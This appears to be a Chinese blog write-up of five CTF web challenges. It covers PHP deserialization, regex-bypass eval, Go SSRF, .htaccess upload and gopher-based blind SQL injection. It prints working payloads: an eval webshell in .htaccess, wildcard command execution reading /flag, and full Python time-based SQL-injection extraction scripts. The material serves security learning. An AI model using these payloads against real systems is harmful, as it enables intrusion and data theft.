作者的github资源:
- 逆向分析:https://github.com/eastmountyxz/ SystemSecurity-ReverseAnalysis
- 网络安全:https://github.com/eastmountyxz/ NetworkSecuritySelf-study
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。网站目前可以访问,后续应该会关闭,初学者可以试试,但切勿破坏。
第一题 power_cut
题目描述如下:
该网站打开如下图所示:
代码语言:javascript复制<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>
1.正确解题思路
作者的基本思路如下:
- 第一步,使用dirsearch扫描敏感目录
- 第二步,发现index.php.swp源码文件下载
- 第三步,将.swp文件恢复成index.php文件
- 第四步,分析源码发现是反序列化漏洞,通过双写简单绕过
(1) 我们从github下载dirsearch工具(Python脚本),这是一个目录扫描工具,目的是扫描网站的敏感文件和目录从而找到突破口。
- https://github.com/maurosoria/dirsearch
(2) 接着,通过dirsearch扫描目录,自己在目录输入栏输入CMD快速进入。我们发现了敏感文件 .index.php.swp
。
- -u:指定网址
- -e:指定网站语言
- -w:指定字典
- -r:递归目录(跑出目录后,继续跑目录下面的目录)
- -random-agents:使用随机UA
文件泄露知识总结 备份文件泄露是基础知识,常见备份文件的包括.bak,.swp,.swo等。下面简单总结文件泄露知识点。 ①备份文件:.index.php.swp、 .index.php.swo、.index.php.bak、.index.php~ ②源码压缩包:www.zip、root.zip、web.zip ③git泄露:www.xxx.com/.git/config,之后使用工具GitHack可以获取源码,python GitHack.py URL/.git ④svn泄露:www.xxx.com/.svn/entries,利用工具dvcs-ripper获取源码 ⑤其它文件泄露– .idea目录泄露:使用了IntelliJ IDEA的工程,可泄露目录结构 – .DS_Store:www.xxx.com/.ds_store,工具ds_store_exp – .pyc文件:python编译后的字节码文件
(3) 我们下载该源码文件,然后解读源码。
(4) 恢复.swp文件成 index.php
,否则打开是乱码。在Linux系统下使用vim带-r参数编辑,完后wq保存。
- vim -r index.php.swp
- 按下i输入 Esc退出
- 保存至本地
:w /tmp/index.php
文件恢复如下图所示:
下载本地文件如下图所示:
源代码如下所示:
代码语言:javascript复制<?php
class logger{
public $logFile;
public $initMsg;
public $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#n";
$this->exitMsg="#--session end--#n";
$this->logFile = $file;
readfile($this->logFile);
}
function log($msg){
$fd=fopen($this->logFile,"a ");
fwrite($fd,$msg."n");
fclose($fd);
}
function __destruct(){
echo "this is destruct";
}
}
class weblog {
public $weblogfile;
function __construct() {
$flag="system('cat /flag')";
echo "$flag";
}
function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}
public function waf($str){
$str=preg_replace("/[<>*#'|?n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function __destruct(){
echo "this is destruct";
}
}
$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>
<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>
(5) 审计发现 logger
类的构造函数中存在文件读取函数 readfile()
,并且参数可控。通过 weblog
类的 __wakeup
魔术方法,实例化 logger
类的一个对象时,触发文件读取漏洞。至于其他函数,经过分析不难看出,是为了迷惑的。
反序列化就需要输入序列化值。
代码语言:javascript复制$test = new weblog();
$test->weblogfile = "/flaflagg";
var_dump(serialize($test));
输出结果如下图所示,如果接着URL拼接仍然无结果。
- O:6:“weblog”:1:{s:10:“weblogfile”;s:9:"/flaflagg";}
因为会把flag替换为空,所以要把该变量的长度改为5。最终payload如下:
代码语言:javascript复制?log=O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flaflagg";}
知识总结 个人CTF题目喜欢长篇大论,希望大佬们不喜勿喷,更希望能帮助初学者。该题目你能学到的知识点包括:
- 通过dirsearch扫描网站目录
- 文件泄露常见方法(index.php.swp),以及从备份文件到源码的恢复
- 反序列化和序列化常见漏洞的利用,通过构造双写绕过flag过滤
2.其他错误尝试
当然,由于作者博士以论文为主,所以只是零零散散参加各种安全比赛,也走了很多弯路和尝试。如果你是一名安全初学者,可以多做做CTF题,它都是有一定规律的。
dirb目录扫描,依赖我们的字典库。
BurpSuite拦截请求,查看内容。
第二题 hate_php
题目描述如下:
访问网址如下图所示:
PHP代码如下:
代码语言:javascript复制<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@] /",$code)){
die('fighting!');
}
eval($code);
}
这道题目主要考察PHP代码审计和规则绕过,当输入code=123参数会提示如下图所示。
1.绕过数字和字母
首先,我们常见的CTF题代码如下,主要是绕过数字和字母。
- 绕过
preg_match("/[A-Za-z0-9] /",$code)
上面这段代码绕过方法如下:
- 要是用非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接一个函数,然后执行这个函数getshell。
- 在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
接着,我们在线构造PHP请求。
- https://c.runoob.com/compile/1
POST请求构造
代码语言:javascript复制<?php
@$_ ;
print($_);
$__=("#"^"|");
print($__);
$__.=("."^"~");
print($__);
$__.=("/"^"`");
print($__);
$__.=("|"^"/");
print($__);
$__.=("{"^"/");
print($__);
?>
输出结果如下图所示:
GET请求构造
代码语言:javascript复制<?php
$_="`{{{"^"?<>/";
print($_);
?>
最终我们通过异或构造请求,核心知识点如下:
代码语言:javascript复制<?php
var_dump("#./|{"^"|~`//"); //_POST
var_dump("`{{{"^"?<>/"); //_GET
?>
最终绕过数字和字符串的代码如下,成功获取Flag值。
代码语言:javascript复制?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=print_r(`scandir`('/'))
1.这里的 "`{{{"^"?<>/" 是异或的简短写法,表示_GET
2.${$_}[_](${$_}[__]);等于$_GET[_]($_GET[__]);也就等于getFlag()
3.把_当作参数传进去执行getFlag()
此时输出结果如下图所示:
但如果直接输出到我们这道题目中,它会提示错误“fighting”。因为我们的正则表达式还过滤了特色字符,尤其是下划线(_)和美元符($)。
2.绕过下划线
绕过数字和字母后,我们想试试能不能同时绕过下划线。
- 函数名或预定义变量名有下划线为了避免跟用户自定义的名字冲突,如_GET、_POST等
- 函数名前有2个下划线的是魔术方法,变量名前有一个下划线的一般都是系统变量或常量,如__construct
如果下划线都不给,就意味着不能定义变量,而且也构造不出来数字。我们必须要想其他方法绕过规则,这是大佬给的payload, 号必须加引号。
代码语言:javascript复制"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."[' ']"& =getFlag();//$_GET[' ']& =getFlag();
进一步完善的payload如下:
代码语言:javascript复制?code=${"`{{{"^"?<>/"}[' ']();& =getFlag
?code=${"`{{{"^"?<>/"}[' ']();&_=assert&__=print_r(`scandir`('/'))
该payload中{}的内容是异或,异或在{}中被执行了,也就是上面讲的 “`{{{”^"?<>/" 执行了异或操作,相当于_GET。最后eva函数拼接出了字符串 $_GET [’ ’] (),然后传入 =getFlag,最后执行函数getFlag()。
注意,这里的代码相当于 {_GET}' ' ,利用{}中的代码可以执行的特点。
代码语言:javascript复制<?php
$a = 'hello';
$$a = 'world';
echo "$a ${$a}";
?>
输出:hello world
此时的payload如果直接输入到题目中,它仍然会报错“fighting”,因为美元符也被过滤了。
- ?code=${"`{{{"^"?<>/"}’ ’;& =getFlag
3.绕过所有规则(正确答案)
正确答案如下所示:
代码语言:javascript复制WEB hate_php
思路一:绕过字符和数字
code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
1.成功 preg_match("/[A-Za-z0-9] /",$code)
2.失败 preg_match("/[A-Za-z0-9_@] /",$code)
3.失败 preg_match("/[A-Za-z0-9_$@] /",$code)
思路二:绕过字符和数字 下划线(变量_和__)
code=${"`{{{"^"?<>/"}[' ']();
1.成功 preg_match("/[A-Za-z0-9] /",$code)
2.成功 preg_match("/[A-Za-z0-9_@] /",$code)
3.失败 preg_match("/[A-Za-z0-9_$@] /",$code)
- ?code=${"`{{{"^"?<>/"}[' ']();& =getFlag
- ?code=${"`{{{"^"?<>/"}[' ']();&_=assert&__=print_r(`scandir`('/'))
思路三:绕过字符和数字 下划线(变量_和__) 美元符号($)
1.均失败
------------------------------------------------------
【最终答案】
思路四:采用通配符绕过美元符号($)
?code=?><?=`/???/??? /????`?>
?code=?>=`/???/??? /????`?>
Cflag{h76ghpt2v2JiYEKzBQ5ysxu9b2Z3mN4A}
输出结果如下图所示:
解题思路:
- 利用通配符调用Linux系统命令来查看flag
- 在Linux系统中可以使用 ? * 等字符来正则匹配字母
- 星号(*)可以用来代替0个及以上任意字符
- 问号(?)可以用来代替1个任意字符,比如 /???/??? => /bin/cat
这里参考zering大佬文章,通过 /bin/cat
来读取源码,比如:
$_=`/???/??? /???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"
如果有长度限制,比如小于35且不存在 _,则将 _ 带入后面一个表达式,同时使用 * 来匹配最后文件。同时,这里的 ?> 闭合了eval自带的 <? 标签。
代码语言:javascript复制构造payload如下:
?><?=`/???/??? /???/???/????/*`?>
php使用短链接含义如下:
<?php echo `/bin/cat /var/www/html/index.php`?>
读取到源码发现存在如下函数:
代码语言:javascript复制function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}
注意,我们可以在本地构建该PHP案例进行测试。
代码语言:javascript复制<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@] /",$code)){
die('fighting!');
}
$flag = 'eastmount';
eval($code);
echo($flag);
}
如下图所示:
最后直接读取flag文件。
代码语言:javascript复制?><?=`/???/??? /????`;?>
?code=?><?=`/???/??? /????`?>
知识总结
- preg_match("/[A-Za-z0-9] /",$code) 长度限制 数字 字母:通过异或构造GET或POST请求实现绕过
- preg_match("/[A-Za-z0-9_@] /",
- preg_match("/[A-Za-z0-9_
该部分参考资料:
- 如何用PHP编写一个不包含数字和字母的后门
- 绕过preg_match("/[A-Za-z0-9] /",$code)
- CTF踩坑PHP编写一个不包含数字字母和下划线的后门
- 浅析CTF绕过字符数字构造shell
- CTF一道web题小结-无数字字母getFlag/
第三题 Go0SS
题目描述如下:
访问网址如下图所示,默认输出 {“message”, “pong”}。
index.php文件内容为空。
代码语言:javascript复制<?php
// php in localhost port 80
readfile($_GET['file']);
?>
这道题目给出了源代码,应该是想大家通过代码设计来找到漏洞利用点。
源码为GO语言,其中核心为main.go文件。
代码语言:javascript复制package main
import (
"bytes"
"crypto/md5"
"encoding/hex"
"github.com/gin-gonic/gin"
"io"
"io/ioutil"
"net/http"
"os"
"strings"
"time"
)
type File struct {
Content string `json:"content" binding:"required"`
Name string `json:"name" binding:"required"`
}
type Url struct {
Url string `json:"url" binding:"required"`
}
func md5sum(data string) string{
s := md5.Sum([]byte(data))
return hex.EncodeToString(s[:])
}
func fileMidderware (c *gin.Context){
fileSystem := http.Dir("./files/")
if c.Request.URL.String() == "/"{
c.Next()
return
}
f,err := fileSystem.Open(c.Request.URL.String())
if f == nil {
c.Next()
}
//
if err != nil {
c.Next()
return
}
defer f.Close()
fi, err := f.Stat()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if fi.IsDir() {
if !strings.HasSuffix(c.Request.URL.String(), "/") {
c.Redirect(302,c.Request.URL.String() "/")
} else {
files := make([]string,0)
l,_ := f.Readdir(0)
for _,i := range l {
files = append(files, i.Name())
}
c.JSON(http.StatusOK, gin.H{
"files" :files,
})
}
} else {
data,_ := ioutil.ReadAll(f)
c.Header("content-disposition", `attachment; filename=` fi.Name())
c.Data(200, "text/plain", data)
}
}
func uploadController(c *gin.Context) {
var file File
if err := c.ShouldBindJSON(&file); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}
dir := md5sum(file.Name)
_,err:= http.Dir("./files").Open(dir)
if err != nil{
e := os.Mkdir("./files/" dir,os.ModePerm)
_, _ = http.Dir("./files").Open(dir)
if e != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": e.Error()})
return
}
}
filename := md5sum(file.Content)
path := "./files/" dir "/" filename
err = ioutil.WriteFile(path, []byte(file.Content), os.ModePerm)
if err != nil{
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(200, gin.H{
"message": "file upload succ, path: " dir "/" filename,
})
}
func vulController(c *gin.Context) {
var url Url
if err := c.ShouldBindJSON(&url); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}
if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){
c.JSON(403, gin.H{"msg": "url forbidden"})
return
}
client := &http.Client{Timeout: 2 * time.Second}
resp, err := client.Get(url.Url)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
defer resp.Body.Close()
var buffer [512]byte
result := bytes.NewBuffer(nil)
for {
n, err := resp.Body.Read(buffer[0:])
result.Write(buffer[0:n])
if err != nil && err == io.EOF {
break
} else if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
}
c.JSON(http.StatusOK, gin.H{"data": result.String()})
}
func main() {
r := gin.Default()
r.Use(fileMidderware)
r.POST("/vul",vulController)
r.POST("/upload",uploadController)
r.GET("/", func(c *gin.Context) {
c.JSON(200, gin.H{
"message": "pong",
})
})
_ = r.Run(":1234") // listen and serve on 0.0.0.0:8080
}
1.正确解题思路
(1) 我们首先打开index.php源码,发现代码如下,存在一个提醒,即内网80端有php SSRF。
(2) 接着我们需要审计GO语言代码(main.go),首先看主函数。核心内容如下:
- r.Use(fileMidderware)
- r.POST("/vul",vulController)
- r.POST("/upload",uploadController)
可以发现两个可用的目录 vul
和 upload
,后续对其进行渗透测试。
(3) 接着代码审计发现可以通过302跳转完成SSRF。56行通过HasSuffix判断字符串是否以 / 结尾,不以其结尾造成302重定向。核心代码如下:
代码语言:javascript复制func fileMidderware (c *gin.Context) ...
if !strings.HasSuffix(c.Request.URL.String(), "/") {
c.Redirect(302,c.Request.URL.String() "/")
}
需要满足IsDir(),本地环境发现末尾多加一些 …/ 的时候即可触发302。
(4) 接着我们随便发送POST信息试试,其值为空。
- http://122.112.246.208:20002/upload
- {“message”: “eastmount csdn”}
同时,代码审计发现需要本地1234端口重定向,且必须以该链接开头否则403错误。
如果端口不正确会提示“url forbidden”错误。
如果重定向端口正确则提示页面不存在,此时可以继续构造payload。
- {“url”:“http://127.0.0.1:1234/index.php?file=/flag&id=eastmount”}
- {“data”:“404 page not found”}
(5) 调用函数 http.Dir("/dir").open() 打开文件或目录,如果open函数的参数为 . 或者 … 返回对象也会被认为是一个目录。
(6) 最后通过vul控制器配合ssrf, 发起攻击。先跳转到自己的vps,在302到带参数的内网地址即可获取flag。注意,gin-gonic/gin特性发现双斜杠(//)即可触发SSRF。
- {“url”:“http://127.0.0.1:1234/index.php?file=…/…/…/…/…/flag&hehe=…/…”}
- 返回文件信息(缺双斜杠SSRF)
最终Payload如下:
- http://122.112.246.208:20002/vul
- {“url”:“http://127.0.0.1:1234//localhost/index.php?file=…/…/…/flag&eastmount=…/…”}
- {“data”:“flag{30e308e8e7122579b8ea2fae774d1999}”}
知识总结
- GO语言和PHP代码审计
- 利用302重定向 本地服务器实现SSRF
- 构造 … 和 // 绕过规则
- 调用hasSuffix函数不以 / 结尾来触发302重定向
- 调用hasPrefix函数以某个URL 1234端口开头,否则报403错误
2.其他错误尝试
做这个题目我自己是挺抗拒的。建议大家在做CTF时,不要看到陌生的GO语言的代码审计就抗拒,其实原理都差不多,我们需要学会分析源码。同时,作者调用BP进行分析也走了一些弯路。
第四题 HploadHub
题目描述如下,该网站打开如下图所示:
同时给出了UploadHub源码供大家分析。
dockerfile文件信息如下:
代码语言:javascript复制FROM ubuntu:14.04
#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y
# install http
RUN apt-get install -y apache2
RUN mkdir -p /var/lock/apache2 /var/run/apache2
RUN apt-get update && apt-get install -y libapache2-mod-php5 php5 php5-mysql mysql-server python3 python3-pip
COPY app/www /var/www/html
COPY app/shuyu.sql /root/shuyu.sql
COPY app/start.sh /root/start.sh
COPY app/apache2.conf /etc/apache2/apache2.conf
COPY app/tar.py /tar.py
RUN sed -i "315c disable_functions = error_log,...,,ftp_ssl_connect," /etc/php5/apache2/php.ini
RUN sed -i '$aServerName 127.0.0.1' /etc/apache2/apache2.conf &&
chmod -R 755 /var/www/html &&
chmod -R 777 /var/www/html/upload&&
rm /var/www/html/index.html&&
chmod x /root/start.sh
RUN sed -i "N;32asecure_file_priv=/tmp" /etc/mysql/my.cnf&&
find /var/lib/mysql -type f -exec touch {} ; && service mysql start&&
mysqladmin -u root password "root"&&
mysql -u root -proot -e "create database shuyu;"&&
mysql -u root -proot shuyu < /root/shuyu.sql
RUN echo flag{test}>/flag
EXPOSE 80
CMD ["/root/start.sh"]
index.php代码如下
代码语言:javascript复制<html>
<head>
<title>生而为人,我很抱歉</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>
<h1>电影太仁慈,总能让错过的人重新相遇;生活不一样,有的人说过再见就再也不见了 -网易云</h1>
<form action="" method="post"
enctype="multipart/form-data">
<label for="file">filename:</label>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="submit" />
</form>
<?php
error_reporting(0);
session_start();
include('config.php');
$upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
@mkdir($upload);
file_put_contents($upload.'/index.html', '');
if(isset($_POST['submit'])){
$allow_type=array("jpg","gif","png","bmp","tar","zip");
$fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
die('upload error');
}else{
$filename=addslashes($_FILES['file']['name']);
$sql="insert into img (filename) values ('$filename')";
$conn->query($sql);
$sql="select id from img where filename='$filename'";
$result=$conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$id=$row["id"];
}
move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
header("Location: index.php?id=$id");
}
}
}
elseif (isset($_GET['id'])){
$id=intval($_GET['id']);
$sql="select filename from img where id=$id";
$result=$conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$filename=$row["filename"];
}
$img=$upload.'/'.$filename;
echo "<img src='$img'/>";
}
}
?>
<style>
body{
background:url(./back.jpg) no-repeat right -160px ;
background-size:90%;
background-attachment:fixed;
background-color: rgba(255, 255, 255, 0.8);
}
</style>
</body>
</html>
1.正确解题思路
看到这个题目,大家肯定想到了任意文件上传漏洞,但这道题目似乎可以上传任意文件。
(1) 首先,我们查看Apache2.conf配置文件信息,发现在配置层面禁止了upload沙盒解析php。所以php相关的一句话木马是不能执行的。
代码语言:javascript复制<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
php_flag engine off
</Directory>
(2) 继续查看Apache2.conf配置信息,发现是允许上传.htaccess文件的,且AllowOverride选项为All。此外,网上大神说配置文件的 < directory > 晚于htaccess执行,所以确定此题目为.htaccess的利用。
- 测试发现 < file > 标签比 < directory > 优先级高
知识补充 .htaccess文件或者“分布式配置文件”提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。简单来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。它的功能有:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或目录的访问、禁止目录列表、配置默认文档等。这里我们需要用到的是改变文件扩展名,上传一个“.htaccess”文件. - https://blog.csdn.net/Eastmount/article/details/103552209
(3) 上传htaccess文件,Rce bypass下disablefunc。注意,如果直接上传php_flag engine on会没用,但apache2.conf中把上传目录的php解析关了。
构建的exp代码 (.htaccess)如下:
代码语言:javascript复制<Files .htaccess>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Files>
php_value auto_prepend_fi
le .htaccess
#<?php eval($_REQUEST['eastmount'])?>
成功上传后我们可以简单获取上传文件的网址,因为其显示在左边某个位置。
网址为:
- URL /upload/06ce7af6d0fb 28b0f56bbd6003a36785/.htaccess
(4) 最后通过file_get_contents("/flag")函数读取flag内容并返回,构造的payload是重点。
- http://122.112.248.222:20003/upload/06ce7af6d0fb28b0f56bbd6003a36785/
- .htaccess?eastmount=var_dump(file_get_contents("/flag"));
- <?php eval($_REQUEST['eastmount'])?>
输出结果如下图所示,可以看到flag值。其“eastmount”是我构造.htaccess文件中的代码。
代码语言:javascript复制ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
php_value auto_prepend_fi le .htaccess
#string(39) "flag{BNjmiWsBgTW4fsLoDgWLvgnfqk1CI3Nx}
其他读取文件内容的常用方法如下(该题好像不行)。
- ?hello=get_file_contents(‘flag.php’)
- ?hello=file(‘flag.php’)
最后给出文件上传漏洞的思维导图,可以看看作者之前的6篇文章总结。
2.中国蚁剑扩展
下面通过蚁剑简单测试文件上传漏洞的后续工作,并尝试找到flag的文件。虽然遗憾作者未找到,但这些方法也提供给初学者学习,大家也可以自行尝试或告诉我好的方法。
第一步,用上传的.htaccess文件建立链接。
- http://x.x.x.x/upload/06ce7af6d0fb28b0f56bbd6003a36785/.htaccess
- eastmount
连接成功如下图所示,注意如果上传php或一句话图片是不能反弹shell,因为关闭了php解析。
第二步,连接成功后,查看文件目录列表,打开终端如下图所示。
我们的想法是获取根目录或var目录下,查看是否存在flag.php或flag.txt相关的文件,但并未找到(不知道蚁剑如何搜索)。
第三步,调用相关插件进行深入渗透测试。可以看到PHP版本是5.5,操作系统是Linux,但仍无法运行相关的函数绕过。怀疑是.htaccess文件,而这里需要php文件才行。
第四步,远程shell连接成功后,我们开可以打开终端进行相关操作。如下图所示,很遗憾提示“ret=127”,应该是屏蔽了相关功能。
第五步,我们在该题目提供的config.php文件中发现了数据库的配置信息。接着我想flag是否藏在数据库表中。
config.php文件如下:
在数据库中添加信息的root用户和密码。
可以看到对应的数据库名称为“shuyu”,存在一个表格“img”,对应两个字段id和filename。
查看表格信息如下:
这里简单通过sql语句查询flag相关的值,发现了相关的文件,但不知道怎么在中国蚁剑中查找。
写到这里,这个题目基本结束了,遗憾仍然未找到该flag文件。还是自己太弱了,需要学习的知识太多,希望读者告诉我后续方法。同时,由于我接下来投入到学术论文中,技术分享就少了,后面博士毕业会花时间把BUUCTF做个遍,加油!
3.其他错误尝试
其他方法错误尝试如下图所示,比如查找敏感文件。
也可以BurpSuite拦截请求修改文件上传后缀,这是常用的方法。
上传一句话木马(mm.jpg、mm.php等)但中国蚁剑和冰蝎均无法连接。
- http://122.112.248.222:20003/index.php?id=1420
- http://x.x.x.x/upload/9845bc38896ccbba0ceaea4f3c08a78d/ma.php
下面是连接失败的某些页面。
第五题 easysql
题目描述如下:
该网站打开如下图所示:
对应源码如下所示:
代码语言:javascript复制<?php
highlight_file(__FILE__);
session_start();
$url = $_GET['url'] ?? false;
if($url)
{
$a = preg_match("/file|dict/i", $url);
if ($a==1)
{
exit();
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
?>
1.正确解题思路
这个题目真的挺难的,需要利用SSRF SQL注入实现,这里我就给出几种大佬的解题方法。后面第2部分和第3部分再给我的思考及尝试,我能做到SSRF和SQL注入尝试,但不会将两者融合。
(1) Chamd5安全团队WP SSRF之后post时间盲注。
- https://mp.weixin.qq.com/s/7uMUoMkQyJGetdlgdvy0CQ
第一段代码是SQL盲注获取表名称,关于SSRF第2部分会详细介绍。
代码语言:javascript复制#津⻔杯-WriteUp Chamd5安全团队
import requests
import string
from urllib import parse
import time
import string
charset = "," string.ascii_lowercase string.digits string.ascii_uppercase
charset = ",@" string.ascii_letters
print(charset)
#,@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
def send(post):
post_len = len(post)
post = parse.quote(post)
exp = f"gopher://127.0.0.1:80/_POST /admin.php HTTP/1.1
Host: 127.0.0.1:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {post_len}
{post}"
exp = exp.replace("%", "%")
url = f"http://121.36.147.29:20001/?url={exp}"
start_time = time.time()
try:
r = requests.get(url, timeout=0.3)
except requests.exceptions.ReadTimeout:
return 0.3
stop_time = time.time()
return stop_time - start_time
result = ""
sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
for i in range(1,50):
for c in charset:
post = f"poc=mid(({sql}),{i},1)='{c}' and sleep(1) "
print(post)
t = send(post)
if t >= 0.3:
result = c
print(result)
break
输出表名如下:
- emails,flag,referers,uagents,users
第二段代码是SQL盲注flag列的具体值,核心代码如下:
- flag{VqvjbS1O8A1gVWa2aPF44ruiELruVDP1}
result = ""
#sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#sql = "select group_concat(column_name) from information_schema.columns where table_name='flag';"
sql = "select group_concat(flag) from flag"
for i in range(1,50):
for c in charset:
post = f"poc=mid(({sql}),{i},1)='{c}' and sleep(1) "
t = send(post)
if t >= 0.3:
result = c
print(result)
break
(2) 某不知道名字的大神解题思路 已经爆破出数据库表名,通过select flag from flag查询值的payload。
代码语言:javascript复制import urllib.parse
import requests
import time
url="http://121.36.147.29:20001/index.php?url="
result = ""
for pos in range(1,10):
for i in range(1,127):
poc = "poc=1) and if((ascii(substr((select flag from flag)," str(pos) ",1))='" str(i) "'),sleep(3),0) -- "
length = len(poc)
data = urllib.parse.quote(poc)
data = urllib.parse.quote(data)
final_poc = "gopher://127.0.0.1:80/_POST /admin.php HTTP/1.1%0d%0aHost: localhost:80%0d%0aConnection: close%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: " str(length) "%0d%0a%0d%0a" str(data)
t1 = time.time()
res = requests.get(url final_poc)
t2 = time.time()
if(t2-t1>3):
result = chr(i)
print(result)
break
输出结果如下图所示:
(3) HA1CgON大神解题思路 SSRF本地admin.php,gopher post注入实现。
代码语言:javascript复制<?php
$payload = "poc=" . $argv[1];
//$payload = "poc=if((select ascii(substr(database(),1,1)))=115,sleep(0.4),1)";
$test = "POST /admin.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
cache-control: no-cache
Postman-Token: 375ba985-8106-4d79-bafd-dff6654589b8
User-Agent: PostmanRuntime/7.6.0
Accept: */*
Host: 127.0.0.1
Content-Length: " . strlen($payload) . "
Connection: close
" . $payload . "
";
echo urlencode(("gopher://127.0.0.1:80/_" . rawurlencode($test)));
Python代码如下:
代码语言:javascript复制import requests
import time
import urllib
import os
url = 'http://121.36.147.29:20001/?url='
s=requests.Session()
x=""
payload = ''
for Len in range(1,50):
max = 127
min = 34
while max >= min:
mid = (max min) // 2
payload = 'if((select ascii(substr((select flag from flag),1,{})))>{},sleep(0.2),1)'.format(Len,mid)
print(payload)
tmp_r = os.popen('php /Users/ha1c9on/Web/HISTORY/gopher.php "' payload '"').read()
before_time = time.time()
tmp_url = url tmp_r
print(tmp_url)
r = requests.get(tmp_url)
after_time = time.time()
offset = after_time-before_time
if (offset>2):
min = mid 1
else:
max = mid
if max == mid == min:
x = chr(mid)
print("success:{} length:{}".format(x, len(x)))
break
2.SSRF错误尝试
下面介绍作者做这个题目的各种尝试,这些知识希望对您SSRF漏洞的理解有帮助。
第一步,源代码审计。
代码语言:javascript复制$url = $_GET['url'] ?? false;
c=a??b;
1.表示如果a非空则c=a
2.如果a为空则c=b
该表达式要求url非空
$a = preg_match("/file|dict/i", $url);
执行匹配正则表达式
1.如果存在file|dict/i直接退出
2.否则执行后续语句
$ch = curl_init();
初始化一个cURL会话及操作
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
同时本地搭建相关代码进行代码审计测试。
第二步,简单扫描发现admin.php敏感目录且为302重定向,怀疑SSRF 302重定向漏洞。
第三步,进行简单的重定向尝试,发现成功后进行各种尝试。
- index.php?url=http://www.baidu.com
- index.php?url=dict://127.0.0.1/info
- index.php?url=file:///etc/passwd
- index.php?url=…/…/…/…/…/etc/passwd
- index.php?url=file:///var/www/html/admin.php
- index.php?url=http://127.0.0.1.sslip.io/admin.php
其他题目有成功的,但本题难度更大。
第四步,尝试本地PHP服务器进行SSRF漏洞利用,提示没有资源。
- index.php?url=http://127.0.0.1/XCTF/test.php
第五步,利用本地连接进行重定向查询尝试。
- index.php?url=http://121.36.147.29:20001/admin.php
提示需要poc请求,说明存在admin.php文件,但是需要提权或其他方法。
第六步,利用gopher协议通过302 本地php跳转并post key到flag.php,但提示。
- ?url=gopher://121.36.147.29:20001/ _POST%2520/admin.php%2520HTTP/1.1
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议),可用于反弹shell.
第七步,此时意识到需要通过请求特征来构造gopher重定向Payload,再结合SQL注入实现(题目easysql),但确实没做出来。
期间也尝试curl方法。
也看到其他题目成功的例子。
3.SQL注入错误尝试
